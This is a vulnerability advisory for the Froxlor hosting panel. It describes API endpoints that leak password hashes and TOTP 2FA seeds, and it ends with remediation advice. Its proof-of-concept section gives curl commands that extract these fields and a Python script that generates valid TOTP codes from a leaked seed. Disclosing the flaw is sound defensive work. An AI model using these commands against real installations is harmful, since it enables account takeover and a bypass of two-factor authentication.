Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints

Summary

Several Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using SELECT *, SELECT alias.*, or equivalent full-row queries, then return the results directly through $this->response(...) without removing credential-related fields.

The exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts.

This exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained.

Details

The affected API classes retrieve entire database rows and return them without filtering sensitive fields:

lib/Froxlor/Api/Commands/Customers.php

Customers.get() and Customers.listing() select and return customer rows containing sensitive fields, including:

• password
• type_2fa
• data_2fa

When type_2fa = 2, the data_2fa value represents the Base32-encoded TOTP seed used by the customer's authenticator application.

The result is returned through $this->response($result) or $this->response(['list' => $result]) without removing these fields.

lib/Froxlor/Api/Commands/Admins.php

Admins.get() and Admins.listing() return administrator rows containing sensitive fields, including:

• password
• type_2fa
• data_2fa

When type_2fa = 2, the data_2fa value represents the Base32-encoded TOTP seed used by the administrator's authenticator application.

These fields are not stripped before returning the API response.

lib/Froxlor/Api/Commands/Ftps.php

Ftps.get() and Ftps.listing() return FTP user rows containing:

• password

The password field is not stripped before returning the API response.

This behavior appears inconsistent with Froxlor's existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product.

Proof of Concept

Preconditions

• Froxlor API is enabled.
• A valid API key and secret exist for an account allowed to call the affected API endpoints.
• At least one customer or administrator account exists with TOTP 2FA enabled.
• For Admins.*, the API account must have the required permission to call the affected administrator endpoint.

Set variables:

export FROXLOR_BASE='https://froxlor.example.com'
export API_KEY='<api_key>'
export API_SECRET='<api_secret>'

PoC 1: Customer password hash and TOTP seed exposure

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Customers.listing","params":{}}' \
  "$FROXLOR_BASE/api.php" | jq '.data.list[] | {customerid, loginname, password, type_2fa, data_2fa, email}'

Example vulnerable response:

{
  "customerid": 1,
  "loginname": "customer1",
  "password": "$2y$12$REDACTED_HASH_VALUE...",
  "type_2fa": 2,
  "data_2fa": "REDACTED_BASE32_TOTP_SEED",
  "email": "[email protected]"
}

The same issue can be verified with Customers.get:

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Customers.get","params":{"id":1}}' \
  "$FROXLOR_BASE/api.php"

PoC 2: Administrator password hash and TOTP seed exposure

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Admins.listing","params":{}}' \
  "$FROXLOR_BASE/api.php" | jq '.data.list[] | {adminid, loginname, password, type_2fa, data_2fa}'

Example vulnerable response:

{
  "adminid": 1,
  "loginname": "admin",
  "password": "$2y$12$REDACTED_HASH_VALUE...",
  "type_2fa": 2,
  "data_2fa": "REDACTED_BASE32_TOTP_SEED"
}

The same issue can be verified with Admins.get:

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Admins.get","params":{"id":1}}' \
  "$FROXLOR_BASE/api.php"

PoC 3: FTP password hash exposure

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Ftps.listing","params":{}}' \
  "$FROXLOR_BASE/api.php" | jq '.data.list[] | {id, username, password}'

Example vulnerable response:

{
  "id": 1,
  "username": "customer1",
  "password": "$2y$12$REDACTED_HASH_VALUE..."
}

The same issue can be verified with Ftps.get:

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Ftps.get","params":{"id":1}}' \
  "$FROXLOR_BASE/api.php"

PoC 4: Generate a valid TOTP code from the exposed seed

If type_2fa = 2, the exposed data_2fa value can be used to generate valid TOTP codes for the affected account.

export TOTP_SEED='<base32_totp_seed_from_data_2fa>'

python3 - <<'PY'
import base64
import hashlib
import hmac
import os
import struct
import time

seed = os.environ["TOTP_SEED"].replace(" ", "").upper()
key = base64.b32decode(seed + "=" * ((8 - len(seed) % 8) % 8))

counter = int(time.time() // 30)
msg = struct.pack(">Q", counter)

digest = hmac.new(key, msg, hashlib.sha1).digest()
offset = digest[-1] & 0x0F
code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff

print(str(code % 1000000).zfill(6))
PY

The generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window.

Expected behavior

API responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal get or listing responses.

At minimum, the following fields should be omitted or redacted before returning API responses:

• password
• data_2fa
• any future credential-equivalent secret fields

Impact

An authenticated API user can retrieve credential material for accounts visible through the affected endpoints.

For password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment.

For TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of data_2fa therefore weakens or bypasses the second authentication factor for affected accounts.

The combined impact is especially severe when both password and data_2fa are exposed for the same administrator or customer account. In that case, an attacker can attempt to crack the password hash offline and then use the exposed TOTP seed to generate valid 2FA codes, defeating both factors of authentication.

Administrator credential material is particularly sensitive because compromise of an administrator account may allow privileged panel actions and access to server-level or customer-level hosting configuration. Customer and FTP credential material is also sensitive because it may allow unauthorized access to hosted content and account-specific resources.

Remediation

API responses should be built from explicit allowlists of safe response fields instead of returning full database rows. Sensitive fields such as password and data_2fa should never be included in normal get or listing responses.

As a tactical fix, remove or redact credential-equivalent fields before calling $this->response(...) in the affected API command classes.

As an architectural fix, introduce centralized response serialization for API models so that sensitive fields are consistently excluded across all endpoints. This should include password hashes, TOTP seeds, recovery secrets, API secrets, tokens, private keys, and any future authentication material.

Because TOTP seeds may have been exposed, affected installations should consider requiring 2FA reset or rotation for accounts whose data_2fa values may have been returned through vulnerable API responses.